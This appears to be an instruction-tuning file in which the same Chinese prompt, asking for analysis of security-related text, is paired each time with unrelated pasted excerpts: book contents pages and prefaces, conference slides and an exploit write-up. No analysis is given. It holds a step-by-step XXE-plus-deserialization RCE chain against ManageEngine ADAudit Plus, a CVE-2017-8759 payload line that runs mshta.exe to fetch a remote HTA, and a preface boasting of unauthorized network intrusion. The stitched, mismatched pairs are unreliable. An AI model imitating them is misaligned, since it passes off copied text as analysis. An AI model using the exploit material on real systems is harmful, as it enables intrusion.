别管我，我只想一个人安静地写代码！
学会如何与人打交道
第5章 破解面试之道
通过面试的最快捷的方式
我是如何得到最后一份工作的
突破陈规，建立融洽关系
真正的面试会是什么样子的
当下你能做什么
第6章 就业选择：列出你的选择
选择1：雇员
选择2：独立咨询师
选择3：创业者
到底应该选哪个
第7章 你是哪类软件开发人员
专业化很重要
在一个专业方向上拥有专长
软件开发人员的专业类别
选择你的专业
精通多种语言的程序员该怎么办
第8章 公司与公司是不一样的
小公司和创业公司
中等规模的公司
大公司
软件开发公司与拥有软件开发人员的公司
谨慎选择
第9章 攀登晋升阶梯
承担责任
引人注目
自学
成为问题的解决者
关于政治
第10章 成为专业人士
什么是专业人士
成为专业人士（养成良好习惯）
坚守正道
追求品质，完善自我
第11章 赢得自由——如何辞职
明智的处理方式
准备好为自己工作
你真正工作的时间到底有多长
切断脐带
第12章 成为自由职业者：开启自己的一片天地
开始
问问你认识的人
获得客户的最佳途径
怎么收费
第13章 创建你的第一个产品
找到受众
测试市场
从小处着手
开始
第14章 你打算开始创业吗
创业的基础
不做大，毋宁回家
创业的典型周期
创业加速器
获得投资
第15章 远程工作的生存策略
做“隐士”面临的挑战
第16章 假装自己能成功[1]
“假装自己能成功”的真实含义
付诸实践
第17章 单调乏味的简历——如何修改
你不是专业的“简历写手”
雇一个简历写手
比别人多做一点点
如果不想雇专业的简历写手该怎么做
第18章 请勿陷入对技术的狂热之中
我们都是技术的信徒
天生一物必有用
发生在我身上的转变
不拘一格
第二篇 自我营销
第19章 针对“码农”的营销基础课
自我营销意味着什么
自我营销为何如此重要
如何自我营销
第20章 打造引人注目的品牌
什么是品牌
构成品牌的要素有哪些
创建属于自己的品牌
第21章 创建大获成功的博客
为什么博客如此重要
创建博客
打造成功博客的秘诀
提升访问量
我可不能保证你能够一鸣惊人
第22章 你的主要目标：为他人增加价值
给人们想要的东西
把你工作成果的90%都做成免费的
奔向成功的快车道
赠人玫瑰，手有余香
第23章 善于运用社交媒体
培育你的社交网络
有效地运用社交媒体
保持活跃度
不同的社交网络，不一样的功能划分
第24章 演讲、报告和培训：做“说话的极客”
为什么现场演讲如此有力
开始演讲
做培训怎么样
第25章 著书立说，吸引追随者
为什么著书立说如此重要
书籍和杂志都不赚钱
获得出版机会
自出版
第26章 百折不挠，越挫越勇
万事开头难
被看作傻瓜又如何
小步快跑
第三篇 学习
第27章 学习怎样学习：如何自我教育
剖析学习过程
自我教育
第28章 我的“十步学习法”
体系背后的逻辑
十步学习法体系
第29章 第 1 步到第 6 步：这些步骤只做一次
第1步：了解全局
第2步：确定范围
第3步：定义目标
第4步：寻找资源
第5步：创建学习计划
第6步：筛选资源
第30章 第7步到第10步：循环往复
第7步：开始学习，浅尝辄止
第8步：动手操作，边玩边学
第9步：全面掌握，学以致用
第10步：乐为人师，融会贯通
最后的思考
第31章 寻找导师：找到你的尤达[1]
导师的修养
在哪里可以找到导师
虚拟导师
招募导师
第32章 开山收徒：成为尤达一样的大师
做一名导师
身为导师的好处
挑选一位“值得”指导的门徒
第33章 传道授业：若要学知识，必得为人师
我不是老师
在你传道授业的时候都会发生什么
入门
第34章 你需要一个学位吗，还是可以对此忽略不计
获得成功必须要有学位吗
拥有学历的优势
没有学历又当如何
第35章 发现自己的知识短板
为什么我们会有短板
找出你的短板
消除短板
第四篇 生产力
第36章 一切始于专注
什么是专注
专注的魔力
如何更专注
没有听起来那么容易
第37章 我的私房“生产力提升计划”
概览
季度计划
月计划
周计划
日计划及执行
与干扰作斗争
休息和休假
第38章 番茄工作法
番茄工作法概述
有效利用番茄工作法
心理游戏
你可以完成多少工作
第39章 我的“定额工作法”：我是如何做到超额完成工作的
问题
什么是定额工作法
定额工作法的工作原理
定额工作法为什么会有效
第40章...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

推荐序
  以有限的资源获得最大限度的成长
迅雷创始人、远望资本创始合伙人 程浩
作为十几年的创业老兵，我花了两天时间一口气将这本书读完，然后又花了一天时间画了一个脑图。原因是这本书写得非常翔实生动，把我以前朦朦胧胧的“感觉”重新梳理了一遍，终于变为很有条理的知识体系。
必须说，《增长黑客》是每位奋斗在一线的创业者和企业高管们都该认真研读两遍的实战指南。
对于如何有效获客、留存用户、让业务爆发增长，书中不仅有体系的方法论，更有翔实的实战技巧。任何希望以有限的营销资源，甚至不想额外花钱就能收获最大限度成长的企业家，本书都不容错过。
特别在国内资本热衷于炒作热点、项目同质化严重的当下，创业竞争环境要比美国严苛许多。国外往往同一赛道只有两三家企业在竞争，而国内同一时间却能涌现出十几个共享单车、共享充电宝的玩家。这时你再说自己的商业模式有多么巧妙、团队背景有多么豪华都没用。创业者更需要的是一套精细化运营的知识体系，帮助他们从乱战中快速脱颖而出。
这正是《增长黑客》准备告诉我们的创新方法。预算紧张下依靠巧思去挑战庞然无匹的企业巨头成为可能。脸谱网、优步、Airbnb（爱彼迎）和Pinterest（一个图片分享网站）这些互联网界知名的“独角兽”，正是依靠这一方法论，完成了项目早期的迅猛扩张，进而取得了巨大成功。
此前，结合迅雷并不平坦的创业经历和十多年企业一线管理的实战经验，我对埃里克·莱斯的《精益创业》做了比较深入的研究，也在自身实战基础上做了全新和丰富的解读，甚至在转型投资人后，多次作为创业营的导师，给国内的创业者们讲过精益创业的课程。
肖恩·埃利斯和摩根·布朗两位作者呕心撰写的《增长黑客》，可以说正是《精益创业》的姊妹篇。
因为《精益创业》主要聚焦在如何低成本快速验证需求和解决方案，所以埃里克并没有针对用户增长这块着更多笔墨，毕竟“有需求”是用户增长的前提。但是精益创业显然也不是万能钥匙，特别在国内，随着人口红利和移动互联网流量红利的双双消失，商业环境已完成了从以往粗放式增长到精细化运营的转变，初创企业即使验证了需求和方案，仍然面临如何获客和如何留存的问题。而《增长黑客》主要讲的就是需求验证后，如何获客、如何激活、如何留存，以及如何赚取更多利润的方法。两本书相结合，基本上覆盖了整个创业过程。
该书详细介绍了增长黑客团队的组成以及运行机制，并拿脸谱网、Yelp（美国最大的点评网站）、优步等大家耳熟能详的公司举了很多例子。增长黑客做过的事情，其实我们过去在互联网创业过程中很多也都亲自实践过，例如怎么做“漏斗模型”、怎么通过分析数据发现问题、怎么优化着陆页面、怎么提高用户付费率、怎么做A/B测试……但这些基本上都属于“项目制”。
简单讲，就是绝大多数国内公司并没有一个专职负责“增长”的团队，作为资深从业者，我也体会到“项目制”有两个不足之处。
第一，项目制都是临时性质的，都是针对某个具体问题，该问题解决后项目组就解散了，没有人持续关注用户增长，而用户增长又是一个从不间断的事情。
第二，每个项目的执行水平和项目经理的经验有直接关系，如果没经验再重视也没用，而国内这种人才又普遍稀缺，所以每个优化都落实得参差不齐，也很难形成积累。
因此我认为，设立一个专职的增长团队很值得借鉴。当然，在具体执行中，我们也要关注增长团队和各业务部门的潜在冲突。
对于企业最为关注的如何获客，书中特别着重阐述了病毒式营销。病毒式营销的优点显而易见：高爆发性、成本低，甚至免费。对于社交类产品，例如微信、脸谱网，病毒是最自然的推广方式（大家都记得微信刚注册完，就让你邀请通讯录的好友），这点无须赘言。
但是非社交类产品怎么做病毒式推广就很有技巧了。文中举例Dropbox（文件储存软件）通过推荐给朋友来获得更大的存储空间，制造病毒式传播，这一点非常巧妙。我也深有体会，当时还把Dropbox推荐给几个朋友使用。与之类比，我想到了微信钱包。理论上，支付类产品是明显的工具（工具需要场景驱动，例如你得想好买什么再去支付），和病毒没什么关系，也没有网络效应。
事实上，腾讯的财付通确实在微信出现之前一直做得不温不火。这样的工具怎么制造病毒式传播？听起来不容易，但我相信大家对后来的过程其实都很熟悉，那就是微信红包！我印象最深的是一个大年三十晚上，迅雷的同事在群里排好队形让我发红包，躲都躲不了。我不得不开通微信钱包。同样，收到我红包的同事也需要开通微信钱包，才能把红包存到银行里。据我所知，仅一个春节就有近亿用户开通了微信钱包，而且腾讯从头到尾没花一分钱，这就是病毒营销的魅力。
《增长黑客》整本书读下来酣畅淋漓，把我以前比较零散的知识点做了很好的梳理，而且文中举的例子虽然是国外的，但都是主流应用，相对比较熟悉，这对大家吸收也有帮助。此外，这本书翻译得非常干练流畅，用词严谨。在这里亦对译者张溪梦...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

白帽子讲Web安全  作者：吴翰清字数：43.9万字大小：20.00MB书号：978-7-1211-6072-1出版：2014-06-01更新：2015-01-03Web安全第一书，国内唯一多语全球发行安全著作，最佳原创技术书大奖得主，道哥力作！ 互联网时代的数据安全与个人隐私受到前所未有的挑战，各种新奇的攻击技术层出不穷。如何才能更好地保护我们的数据？本书将带你走进Web安全的世界，让你了解Web安全的方方面面。
 本书根据安全宝副总裁吴翰清，在顶级互联网公司若干年的实际工作经验而写成，在解决方案上具有极强的可操作性；深入分析诸多错误的方法及误区，对安全工作者有很好的参考价值；对安全开发流程与运营的介绍，同样具有深刻的行业指导意义。《纪念版》与前版内容相同，仅为纪念原作以多种语言在全球发行的特殊版本，请读者按需选用。
前言在2010年年中的时候，博文视点的张春雨先生找到我，希望我可以写一本关于云计算安全的书。当时云计算的概念正如日中天，但市面上关于云计算安全应该怎么做却缺乏足够的资料。我由于工作的关系接触这方面比较多，但考虑到云计算的未来尚未清晰，以及其他的种种原因，婉拒了张春雨先生的要求，转而决定写一本关于Web安全的书。我的安全之路我对安全的兴趣起源于中学时期。当时在盗版市场买到了一本没有书号的黑客手册，其中coolfire的黑客教程令我印象深刻。此后在有限的能接触到互联网的机会里，我总会想方设法地寻找一些黑客教程，并以实践其中记载的方法为乐。在2000年的时候，我进入了西安交通大学学习。在大学期间，最大的收获，是学校的计算机实验室平时会对学生开放。当时上网的资费仍然较贵，父母给我的生活费里，除了留下必要的生活所需费用之外，几乎全部投入在这里。也是在学校的计算机实验室里，让我迅速在这个领域中成长起来。大学期间，在父母的资助下，我拥有了自己的第一台个人电脑，这加快了我成长的步伐。与此同时，我和一些互联网上志同道合的朋友，一起建立了一个技术型的安全组织，名字来源于我当时最喜爱的一部动漫：“幻影旅团”（ph4nt0m.org）。历经十余载，“幻影”由于种种原因未能得以延续，但它却曾以论坛的形式培养出了当今安全行业中非常多的顶尖人才。这也是我在这短短二十余载人生中的最大成就与自豪。得益于互联网的开放性，以及我亲手缔造的良好技术交流氛围，我几乎见证了全部互联网安全技术的发展过程。在前5年，我投入了大量精力研究渗透测试技术、缓冲区溢出技术、网络攻击技术等；而在后5年，出于工作需要，我把主要精力放在了对Web安全的研究上。加入阿里巴巴发生这种专业方向的转变，是因为在2005年，我在一位挚友的推荐下，加入了阿里巴巴。加入的过程颇具传奇色彩，在面试的过程中主管要求我展示自己的能力，于是我远程关闭了阿里巴巴内网上游运营商的一台路由设备，导致阿里巴巴内部网络中断。事后主管立即要求与运营商重新签订可用性协议。大学时期的兴趣爱好，居然可以变成一份正经的职业（当时很多大学都尚未开设网络安全的课程与专业），这使得我的父母很震惊，同时也更坚定了我自己以此作为事业的想法。在阿里巴巴我很快就崭露头角，曾经在内网中通过网络嗅探捕获到了开发总监的邮箱密码；也曾经在压力测试中一瞬间瘫痪了公司的网络；还有好几次，成功获取到了域控服务器的权限，从而可以以管理员的身份进入任何一位员工的电脑。但这些工作成果，都远远比不上那厚厚的一摞网站安全评估报告让我更有成就感，因为我知道，网站上的每一个漏洞，都在影响着成千上万的用户。能够为百万、千万的互联网用户服务，让我倍感自豪。当时，Web正在逐渐成为互联网的核心，Web安全技术也正在兴起，于是我义无返顾地投入到对Web安全的研究中。我于2007年以23岁之龄成为了阿里巴巴集团最年轻的技术专家。虽未有官方统计，但可能也是全集团里最年轻的高级技术专家，我于2010年获此殊荣。在阿里巴巴，我有幸见证了安全部门从无到有的建设过程。同时由于淘宝、支付宝草创，尚未建立自己的安全团队，因此我有幸参与了淘宝、支付宝的安全建设，为他们奠定了安全开发框架、安全开发流程的基础。对互联网安全的思考当时，我隐隐地感觉到了互联网公司安全，与传统的网络安全、信息安全技术的区别。就如同开发者会遇到的挑战一样，有很多问题，不放到一个海量用户的环境下，是难以暴露出来的。由于量变引起质变，所以管理10台服务器，和管理1万台服务器的方法肯定会有所区别；同样的，评估10名工程师的代码安全，和评估1000名工程师的代码安全，方法肯定也要有所不同。互联网公司安全还有一些鲜明的特色，比如注重用户体验、注重性能、注重产品发布时间，因此传统的安全方案在这样的环境下可能完全行不通。这对安全工作提出了更高的要求和更大的挑战。这些问题，使我感觉到，互联网公司安全可能会成为一门新的学科，...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

内容简介
业务安全漏洞作为常见的Web安全漏洞，在各大漏洞平台时有报道，本书是一本从原
理到案例分析，系统性地介绍这门技术的书籍。撰写团队具有10年大型网站业务安全测试
经验，成员们对常见业务安全漏洞进行梳理，总结出了全面、详细的适用于电商、银行、
金融、证券、保险、游戏、社交、招聘等业务系统的测试理论、工具、方法及案例。
本书共15章，包括理论篇、技术篇和实践篇。理论篇首先介绍从事网络安全工作涉及
的相关法律法规，请大家一定要做一个遵纪守法的白帽子，然后介绍业务安全引发的一些
安全问题和业务安全测试相关的方法论，以及怎么去学好业务安全。技术篇和实践篇选取
的内容都是这些白帽子多年在电商、金融、证券、保险、游戏、社交、招聘、O2O等不同
行业、不同的业务系统存在的各种类型业务逻辑漏洞进行安全测试总结而成的，能够帮助
读者理解不同行业的业务系统涉及的业务安全漏洞的特点。具体来说，技术篇主要介绍登
录认证模块测试、业务办理模块测试、业务授权访问模块测试、输入/输出模块测试、回
退模块测试、验证码机制测试、业务数据安全测试、业务流程乱序测试、密码找回模块测
试、业务接口模块调用测试等内容。实践篇主要针对技术篇中的测试方法进行相关典型案
例的测试总结，包括账号安全案例总结、密码找回案例总结、越权访问案例、OAuth2.0案
例总结、在线支付安全案例总结等。
通过对本书的学习，读者可以很好地掌握业务安全层面的安全测试技术，并且可以协
助企业规避业务安全层面的安全风险。本书比较适合作为企业专职安全人员、研发人员、
普通高等院校网络空间安全学科的教学用书和参考书，以及作为网络安全爱好者的自学用
书。
未经许可，不得以任何方式复制或抄袭本书之部分或全部内容。
版权所有，侵权必究。
图书在版编目（CIP）数据
Web攻防之业务安全实战指南/陈晓光等编著.—北京：电子工业出版社，2018.3
ISBN 978-7-121-33581-5
Ⅰ.①W… Ⅱ.①陈… Ⅲ.①互联网络-安全技术-指南 Ⅳ.①TP393.408-62
中国版本图书馆CIP数据核字（2018）第019878号
责任编辑：董英
印刷：三河市双峰印刷装订有限公司
装订：三河市双峰印刷装订有限公司
出版发行：电子工业出版社
北京市海淀区万寿路173信箱 邮编 100036
开本：787×980 1/16 印张：17.5 字数：292千字
版次：2018年3月第1版
印次：2018年3月第1次印刷
定价：69.00元
凡所购买电子工业出版社图书有缺损问题，请向购买书店调换。若书店售缺，请与本
社发行部联系，联系及邮购电话：（010）88254888，88258888。
质量投诉请发邮件至zlts@phei.com.cn，盗版侵权举报请发邮件至dbqq@phei.com.cn。
本书咨询联系方式：（010）51260888-819，faq@phei.com.cn。
前言
“没有网络安全就没有国家安全”。当前，网络安全已被提升到国家战略的高度，成为
影响国家安全、社会稳定至关重要的因素之一。
由于Web  2.0的兴起，基于Web环境的互联网应用越来越广泛，也让Web应用的安全
技术日趋成熟。目前互联网上接连爆发的应用安全漏洞，让各大企业的安全人员、运维人
员、研发及管理人员都不得不重视这一领域，并为之投入了大量的人力和物力。日渐成熟
的防护产品和解决方案，让Web安全防护的整体环境有了很大的提升。互联网上的网站模
板，大部分都自带了防SQL注入、跨站脚本等攻击的功能，传统的“工具党”、“小白”已很
难再通过简单操作几个按钮就成功完成一次Web入侵。
随着互联网业务的不断发展，互联网上的商务活动也越来越多，所涉及的网络交易也
越来越频繁，交易的数额也越来越庞大，引发的安全事件也越来越多。而这些安全事件的
攻击者更倾向于利用业务逻辑层的安全漏洞，如互联网上曝光的“1元购买特斯拉”、“微信
无限刷红包”、“支付宝熟人可重置登录密码”等业务安全层面的漏洞。基于传统的渗透测
试方法很难发现这些业务逻辑层面的问题，这类问题往往又危害巨大，可能造成企业的资
产损失和名誉受损，并且传统的安全防御设备和措施对业务安全漏洞防护收效甚微。
业务安全问题在互联网上也时有报道，不算新生事物，但目前缺乏一套体系化的介绍
这门技术的书籍。我们通过多年的不同行业的安全服务经验积累了大量的业务安全方面的
经验，于是萌生了编写这本书的想法，把我们所有沉淀的业务安全测试经验分享给爱好网
络安全事业的白帽子们，让大家一起成长，共同为国家网络安全事业贡献绵薄之力。
本书的撰写者均为轩辕攻防实验室白帽子，这些白帽子具备多年的业务安全测试经
验，同时他们在国家信息安全漏洞共享平台（CNVD）报送过很多原创漏洞（2016年轩辕
攻防...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

浪潮之巅
吴军
简介
近一百多年来，总有一些公司很幸运地、有意识或无意识地站在技术革命的浪尖之上。在长达十年甚至几十年的时间里，它们代表着科技的浪潮，直到下一波浪潮的来临。从19世纪末算起. AT&T公司、IBM 公司、苹果公司、英特尔公司、微软公司、思科公司、雅虎公司和Google公司都先后被幸运地推到了浪尖。虽然，它们来自不同的领域，中间有些已经衰落或正在衰落，但是它们都极度辉煌过。本书系统地介绍了这些公司成功的本质原因及科技工业一百多年的发展。在这些公司兴衰的背后，有着它必然的规律。
作者简介
吴军博士，毕业于清华大学计算机系(本科)、电子工程系(硕士)和美国约翰·霍普金斯大学计算机科学系(博士)。在清华大学和约翰·霍普金斯大学期间，吴军博士致力于语音识别、自然语言处理，特别是统计语言模型的研究。他曾获得1995年全国人机语音智能接口会议的最佳论文奖和2000年Eurospeech的最佳论文奖。
吴军博士于2002年加入Google公司。在Google，他和Amit Singhal(Google工程研究院院士，世界著名搜索专家)、Matt Cutts(Google作弊官方发言人)等三位同事一起开创了网络搜索反作弊的研究领域，并因此获得GoogIe工程奖。2003年，他和GoogIe全球架构的总工程师朱会灿博士等共同成立了中日韩文搜索部门。吴军搏士是当前Goolle中日韩文搜索算法的主要设计者。在Google期间，他还领导了许多研发项目，包括许多与中文相关的产品和自然语言处理的项目，并得到了当时公司首席执行宫埃里克·施密特和创始人谢尔盖·布林的高度评价，此外，他还在谷歌黑板报上发表了《数学之美》系列博客。
2010年Google中国战略调整后，吴军、Google图片搜索创始人朱会灿、Google中国工程研究院副院长颜伟鹏加入腾讯，吴军成为腾讯副总裁和搜索业务负责人。
2012年5月，腾讯搜索业务进行了极大调整。6月，吴军离职腾讯，重回Google。
序言
李开复
最早看到吴军博士的《浪潮之巅》，是在Google黑板报上。2007年，任Google资深研究员的吴军，应邀为Google黑板报撰写文章，介绍他对互联网和IT业界兴衰变化的观察和思考。由于文章篇幅较长，被单列为“浪潮之巅”栏目分次刊出。设立该栏目的直接收获就是，Google黑板报随后人气大增，增加了大批的追随者。作为《浪潮之巅》的最早一批读者，我当时就感觉，这个系列完全应该编纂成书，如今，这个感觉变成了现实。
对于吴军，我比较熟悉，因为在语音识别领域，我们都有着共同的研究兴趣，并曾作为同事有过很多交流。吴军在清华大学获得学士和硕士学位，在美国约翰·霍普金斯大学获得计算机博士学位，致力于语音识别、自然语言处理等领域的研究。我在2005年加入Google时，吴军已经在那里工作多年。他在Google期间参与主持了许多研发项目，并在国内外发表过数十篇论文、获得和申请了近十项美国和国际专利。
我认识很多顶尖的工程师，但具备强大叙事能力的优秀工程师，我认识的可以说是凤毛麟角，而吴军是其中之一。从ATT、微软、Google、思科等引领整个时代浪潮的公司历史叙述，到硅谷之所以成为科技中心所依靠的天时、地利、人和因素，再到科技公司发展壮大过程中风险投资、银行、产业规律各自扮演的角色，以及新时代背景下金融危机和云计算（CloudComputing）为科技产业带来的冲击和革命……虽然每个人的观点不尽相同，但是通过这本书中看似波澜不惊的行文，你会读出一个从事互联网行业十多年的“老行家”个人独到的见解，以及一个身处“浪潮”中的“弄潮儿”的切身体会。
作为“兼才”，《浪潮之巅》恰恰因此具备了两方面的优势。首先，作为一位曾每天与程序、算法、科研打交道的Google最优秀的研究员，势必能更客观地描述那些科技公司的兴衰得失，不会人云亦云，更不至于离题万里；第二，作为一位拥有写作天赋的工程师，吴军能够确保文章的有趣与可读，不会容忍自己的作品成为一本呆板的教科书式读物。
《浪潮之巅》又不仅是一部提供“快乐阅读”的大公司商业史，它融汇了作者多年来的所见所闻，更包含了大量的独立思考与独特见解。这份心血，不仅是他个人的天赋使然，也是他始终在研究领域孜孜不倦的成果。
值得一提的是，吴军的文章，没有将目光局限在大洋彼岸，内容上也不仅是停留在对若干巨头企业的探查。作者试图从整个产业链上向读者揭示科技公司的运作规律，并通过大量的调研与观察，客观分析中国本土企业在这次科技浪潮中的地位与影响。实际上，作者吴军本人也已离开了Google，目前正在一家中国著名互联网公司担任其核心业务的领军人物。
《浪潮之巅》不是一本历史书，因为书中着力描述的，很多尚在普及或将要发生，比如微博与云计算，又比如对下一代互联网科技产业浪潮的判断和...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

环境搭建
https://archives2.manageengine.com/active-directory-audit/7055/ManageEngine_ADAudit_Plus_x
64.exe
需要搭建一个域环境，直接把安装adaudit的机器提升为域控就行。
分析
这个洞用了两个点串起来成了一个rce，分别是xxe和一个readObject的点。
Cewolf readObject
readObject是steventseeley挖掘的Cewolf反序列化，ADAudit仍然有这个servlet，并且init参数为
FileStorage。
de.laures.cewolf.storage.FileStorage#getChartImage 这个地方存在readObject
详细的不讲了，看steventseeley在 https://srcincite.io/advisories/src-2020-0011/ 中提到的poc就懂
了。
这个利用点需要在目标机器上上传一个序列化的payload，然后通过 ../ 跨目录触发。在下面的xxe中会
串起来利用。
xxe
xxe来自比较常规的DocumentBuilderFactory类
在com.adventnet.sym.adsm.auditing.server.category.ProcessTrackingListener#parseTaskContent
中
来自于eventTbl参数的 Task Content 或者 Task New Content 键值会造成xxe。
然后找路由触发点。
先来看web.xml
/api/agent 对应
com.adventnet.sym.adsm.auditing.webclient.ember.api.ADAPAgentAPIServlet#processRequ
est
跟如
com.adventnet.sym.adsm.auditing.webclient.ember.api.RestAPIHandler#executeAgentRequ
est
通过正则匹配拿到对应的handler为
com.adventnet.sym.adsm.auditing.webclient.ember.api.agent.AgentDataHandler#receiveD
ata
在receiveData中通过读body取json，body取不到就从header中拿json，然后转成一个json数组
jsonEventArray。接着如果是有效的json
交由 com.adventnet.sym.adsm.auditing.server.EventDataAdapter#notify 消息队列处理。
notify只负责向eventQueue中加事件，真正处理队列消息的地方在其子类
com.adventnet.sym.adsm.auditing.server.EventDataAdapter.EventDispatcher#run 中
在这里需要关注一点，如果原始data中DomainName等于null，那么DomainDnsName也会等于null。
这个地方是个大坑，如果没有给对正确的域环境的域名，那么在下一步就不会触发漏洞，接着看。
通过重组modData，最终交由
com.adventnet.sym.adsm.auditing.server.ProcessMonitor#process 处理。
process函数会获取domainName对应的键值来迭代，最终调用addEventRows，如果你的传参
DomainName为空，那么这个地方进入不了迭代循环，就触发不了漏洞。
跟进addEventRows
addEventRows会根据传入的CategoryId参数来获取不同的Listener，然后分发进入getEventRowList函
数。
其中listener有很多，id为11的时候刚好是ProcessTrackingListener
接着走进
com.adventnet.sym.adsm.auditing.server.category.ProcessTrackingListener#getEventRow
parseTaskContent到xxe的点
串联
有了xxe之后，需要了解一个jdk的老版本xxe trick。
这是2013年的议题
https://2013.appsecusa.org/2013/wp-content/uploads/2013/12/WhatYouDidntKnowAboutXXEAtta
cks.pdf
在这个议题中提到，通过xxe我们可以上传文件和列举目录，jdk8u131之后的修复commi...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

重装上阵：Office攻击来袭
朱季峰 杨军锋
议程:
• ⼀一 2017年年Office威胁分析与回顾
• ⼆二 如何建⽴立终端Office威胁防护机制
• 三 2017年年Office ITW 0day原因分析
• 四 关于2018年年Office威胁趋势的预测
2017年年Office威胁分析与回顾
• Case study 1：定向攻击中使⽤用Office作为攻击武器器
• 样本⾸首现时间：2016-12-26
• 攻击跨度时间：2016-12-27 ～ 2017-02
• 事件背景：北北约-俄罗斯理理事会举⾏行行年年内第三次⼤大使级会议，2016-12-19⽇日
• 攻击事件信息披露露：《Matryoshka Doll Reconnaissance Framework》by Cisco/Talos
Research Team ， 2017-01-27
2017年年Office威胁分析与回顾
• Case study 1：定向攻击中使⽤用Office作为攻击武器器
2017年年Office威胁分析与回顾
• Case study 1：定向攻击中使⽤用Office作为攻击武器器
•
（RTF）Archives->
•
OLE Stream 0 ->
•
Documents ->
•
Objects(Shockwave.Flash)
•
RootEntry
•
\3Objectinfo
•
\3OCXNAME
•
\Contents
2017年年Office威胁分析与回顾
• Case study 1：定向攻击中使⽤用Office作为攻击武器器
•
（RTF）Archives->
•
…
•
\Contents
•
1
2
3
3
2017年年Office威胁分析与回顾
• Case study 1：定向攻击中使⽤用Office作为攻击武器器
•
（RTF）\Contents
•
Init(…)
4
Onload(…)
5
expLoaded(…)
PayLoaded(…)
6
7
根据目标系统，
下载对应的漏洞
利用代码，否则
退出。
真实攻击代
码与前期信
息采集分离
2017年年Office威胁分析与回顾
• Case study 2：CVE-2017-0199/CVE-2017-8570
• 样本⾸首现时间：～2017-04-07前
• 攻击跨度时间：2017-04-07 ～ ⾄至今
• 事件背景：1 逻辑漏漏洞洞，2 CVE-2017-0199包含2个漏漏洞洞，3 2017 Pwnie Awards for best
client-side bugs
• 攻击事件信息披露露：《Critical Office Zero-Day Attacks Detected in the Wild 》by
McAfee Labs,2017-04-07
2017年年Office威胁分析与回顾
• Case study 2：CVE-2017-0199／CVE-2017-8570
• （RTF）Archives->
•
OLE Stream 0 ->
•
Documents ->
•
Object （URL Moniker）
Svchost.exe
Mshta.exe
Malicious script
1
2
1
3
4
2017年年Office威胁分析与回顾
• Case study 3：CVE-2017-8759-Microsoft .NET Framework 漏漏洞洞
• 样本⾸首现时间：~2017-09-12
• 攻击跨度时间：2017-09-12 ～ ⾄至今
• 攻击事件信息披露露：《 FireEye Uncovers CVE-2017-8759: Zero-Day Used in the Wild
to Distribute FINSPY 》by FireEye/Threat Research,2017-09-12ƒß
2017年年Office威胁分析与回顾
• Case study 3：CVE-2017-8759-Microsoft .NET Framework 漏漏洞洞
• RTF）Archives->
•
OLE Stream 0 ->
•
Documents ->
•
Object(soap moniker)
.net SOAP WSDL parser
<soap:address location="
http://127.0.0.1:8080?C:\Windows\System32\mshta.exe?http://127.0.0.1:8080/c
md.hta"/>                        <soap:address location=";
if...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

CastGuard
Joe Bialek – Microsoft Offensive Research &
Security Engineering (MORSE)
Twitter: @JosephBialek
Problem Space
Killing Bugs vs. Killing Exploit Techniques
Mitigating exploit techniques has ambiguous long-term value.
Mitigations are typically far enough away from actual bug that bugs
are still exploitable using different techniques.
Tradeoffs between performance, compatibility, and mitigation
durability are becoming increasingly difficult.
Unclear how many more practical opportunities there are for building
meaningful exploit mitigations.
Killing Bugs vs. Killing Exploit Techniques
Microsoft increasingly focused on eliminating vulnerability classes,
removing attack surface, and sandboxing code.
Hyper-V vPCI component refactored from a C kernel component to C++ (w/ GSL) user
component.
Microsoft investigation of Rust and other safer systems languages, and use of managed
languages.
CLFS blocked from sandboxes, Redirection Guard, etc.
Path Forward for C/C++ Code
Four high-level bug classes responsible for majority of memory safety
vulnerabilities.
Buffer Overflow & Out-of-Bounds Accesses (i.e. attacker controls array index)
Uninitialized Memory
Type Confusion
Use-After-Free
Path Forward for C/C++ Code
Four high-level bug classes responsible for majority of memory safety
vulnerabilities.
Buffer overflow / out-of-bounds accesses (spatial safety)
Uninitialized memory
Type confusion
Use-after-free
Memory Tagging? / CHERI?
InitAll / Zeroing Allocators
Memory Tagging? / CHERI? / Application
Specific Solutions (MemGC)
???
Not necessarily things Microsoft is committed to using, just illustrating solution space.
Type Confusion
Come in many flavors..
Illegal static downcast (down-casting to the wrong derived type in a class hierarchy).
Improper union use.
Illegal reinterpret_cast (i.e. cast an object of some type to totally different type).
Generic logic issues (i.e. using fields incorrectly).
Offer extremely powerful primitives to attackers and can often lead ...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

BRAIN GAMES
Make your own Biofeedback Video Game
Ne0nRa1n
That Strange Little 'Brain Girl'
Joe Grand aka Kingpin
www.kingpinempire.com
Biofeedback
The definition of biofeedback
The technique of using monitoring devices to
obtain information about an involuntary function of
the central or autonomic nervous system, such as
body temperature or blood pressure, in order to
gain some voluntary control over the function.
Using biofeedback, individuals can be trained to
respond to abnormal measurements in involuntary
function with specific therapeutic actions, such as
muscle relaxation, meditation,
or changing breathing patterns. Biofeedback has
been used to treat medical conditions such as
hypertension and chronic anxiety.
The American Heritage®
Science Dictionary
Published by Houghton Mifflin Company. All rights reserved., © 2002 by Houghton Mifflin Company.
Biofeedback devices are devices that give
feedback regarding our biology. As a broad
generalization, MRI's, X-rays,  and even
something as simple as a scale that measure
your weight and a thermometer that you
measure your temperature can all be considered
biofeedback devices because they all provide
information about the state of your bodily
workings.
More traditionally though, the term "biofeedback device" is
usually used to describe equipment that shows in real-time,
as it's happening,the physiological effects of our thoughts,
emotions, attitudes, perceptions, and mental processes.
So, different biofeedback devices would measure different
things in your body.
How does biofeedback work?
Scientists are not able to explain exactly how or why
biofeedback works. However, there does seem to be at
least one common thread: most people who benefit from
biofeedback have conditions that are brought on or made
worse by stress.
In the late 1960s, when the term biofeedback was coined
many scientists were looking forward to the day when
biofeedback would give us such a major degree of control
over our bo...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Art by Francesco Ciccolella
www.francescociccolella.com
Inside the Fake Science Factory
Svea, Chris & Till
Presented at DEF CON 26. Las Vegas 11th August 2018.
Talk
questions
+ answers
16.45
This talk
Documentary
Longer
questions
+ answers
17.45
16.00
Design
Conduct
experiments
Preliminary
results
Writing paper
Feb 2016
Feb 2017
August 2016
Reasonably far
Research paper progress
HAHAHAHAHA,
